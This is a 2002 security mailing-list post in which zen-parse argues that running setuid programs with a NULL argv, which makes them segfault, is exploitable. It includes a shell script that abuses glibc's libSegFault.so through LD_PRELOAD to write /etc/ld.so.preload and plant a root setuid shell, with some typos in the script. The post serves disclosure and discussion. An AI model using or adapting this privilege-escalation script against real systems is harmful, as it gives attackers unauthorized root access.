From: zen-parse at gmx.net (zen-parse)
Subject: THREATCON HITTING DANGEROUS LEVELS!

Sometime around Mon, 30 Sep 2002 07:40:00 +0100, Dave Wilson wrote:
> On Sun, Sep 29, 2002 at 10:03:36PM -0700, silvio@....net.au wrote:
>
>> #include <stdio.h>
>> int main(int argc, char *argv[]) { char *v[] = { NULL };
>> execve(argv[1], v, NULL); }
> 
> This is the linux glibc bootstrap code behaviour. main() is never
> reached. It's not new either.

$ cat noargv.c 
main(int argc,char *argv[])
{
 char *v[]={0};
 execve("/bin/date",v,0);
}
$ make noargv
cc     noargv.c   -o noargv
$ ./noargv
Mon Sep 30 23:32:54 NZST 2002
$ 


A quick check shows that some programs don't care if you give NULL for
argv and env, so long as the program itself checks all pointers are valid
before accessing them. It seems it is not the linux glibc bootstrap code
behaviour, as Dave tried to inform us.

main() is indeed reached. If it was not reached, all programs would segv,
not just most of them. 

If you had tested before replying you might've noticed this.



Not being new is true though. 

I'm sure it has been noticed by many people when they try write their own
shellcode like execve("/bin/sh",0,0), it segs. execve("/bin/ash",0,0)
shellcode works. There must be some difference between bash and ash.

("Why would anyone want to write shellcode that was so obviously flawed?"
some people will ask. Why not just add the extra arguments? And then
those people get told to try write their own shellcode, as small as 
possible... execve("/tmp/tmp",0,0); <- how many bytes?)

(ash-0.2-26 and bash-2.04-11 on RedHat 7.0, just in case anyone wants
to test to make sure I'm not making this stuff up.)

Of course, you SHOULD pass the appropriate arguments, but programs should
also be able to deal with incorrect arguments being given. A segfault is
not exactly dealing with it, IMO.

>> This is of course, not really a security threat by any means.. It is an
>> annoying bug that effects alot of things and is really not handled
>> correctly in the majority of implementations.

Not really being a security threat is potentially wrong though. 

$ cat noargv2.c 
main(int argc,char *argv[])
{
 char *v[]={0};
 execve("/usr/sbin/sendmail",v,0);
}
$ ./noargv2
Segmentation fault

Ok. Now we can cause many setuid programs to seg fault. How was that
useful? 

Consider the glibc-2.1.3 bug with LD_PRELOAD loading libraries, as long as
there were no '/'s in them.

(More details at: http://online.securityfocus.com/bid/2223/discussion/ )

There is a library called /lib/libSegFault.so which is part of the glibc
package, designed to help debugging Segmentation Faults. Using the way it
creates files (open(fname, O_WRONLY|O_CREAT|O_TRUNC, 0666);) and setting
an appropriate umask, it is possible to create any filename you want, and
the add any content you want. Making our own /etc/ld.so.preload is an easy
method of using this weakness. (There are sometimes other libraries that
are usable too.)


$ cat eviler.sh
#!/bin/sh
# Ancient exploit - LD_PRELOAD=libSegFault.so
cat > actually.c <<EOF
_init()
{
 chown("/var/tmp/dasuid",0,0);
 chmod("/var/tmp/dasuid",06755);
 unlink("/etc/ld.so.preload");
 exit(1);
}
EOF
cc -o actually.so actually.c  -shared -nostdlib || exit 1
cat > /var/tmp/dasuid.c <<EOF
main(int argc,char *argv[])
{
 setresuid(0,0,0);
 setresgid(0,0,0);
 execve("/bin/sh","sh",0);
}
cc -o /var/tmp/dasuid /var/tmp/dasuid || exit 1
uname 0
export LD_PRELOAD=libSegFault.so
export SEGFAULT_OUTPUT_NAME=/etc/ld.so.preload
./noargv2
echo ${PWD}/actually.so>/etc/ld.so.preload
unset LD_PRELOAD
/usr/sbin/sendmail
$ 

Much easier to exploit something if you don't need to know the offsets,
like this method allows. Without the segfault the file wouldn't get
created... of course this type of bug was not the only one that could be
used, but it is one of the easier ones to trigger.


> How about not misusing exec()?  'course not, let's patch our kernels to
> stop idiots from using exec()!!

Of course! Telling people to stop doing things that break code might
work... 

Ok people, listen up:
 Stop sending really big buffers into those small buffers we made for input.
 Stop putting format string codes into those messages we are logging! 
 And stop inserting javascript into our submission forms!
 Please! Everyone stop doing these things, and anything else that makes
 our code behave badly. Only use the code the way we intended. Don't try
 anything new or original, and don't test it for security flaws.

Then we won't have to fix our code to handle them.
 
Thanks for the idea, Dave. I'm sure it'll work. 

At the moment, afaik, they are just minor bugs, with no real security
issues associated with them on any reasonably up to date machine, but that
doesn't mean they shouldn't be fixed.

-- zen-parse

Boredom causes rant-like behaviour. 
Guess I should get back to doing stuff.

--
-------------------------------------------------------------------------
1) If this message was posted to a public forum by zen-parse@....net, it 
may be redistributed without modification. 
2) In any other case the contents of this message is confidential and not 
to be distributed in any form without express permission from the author.

Powered by blists - more mailing lists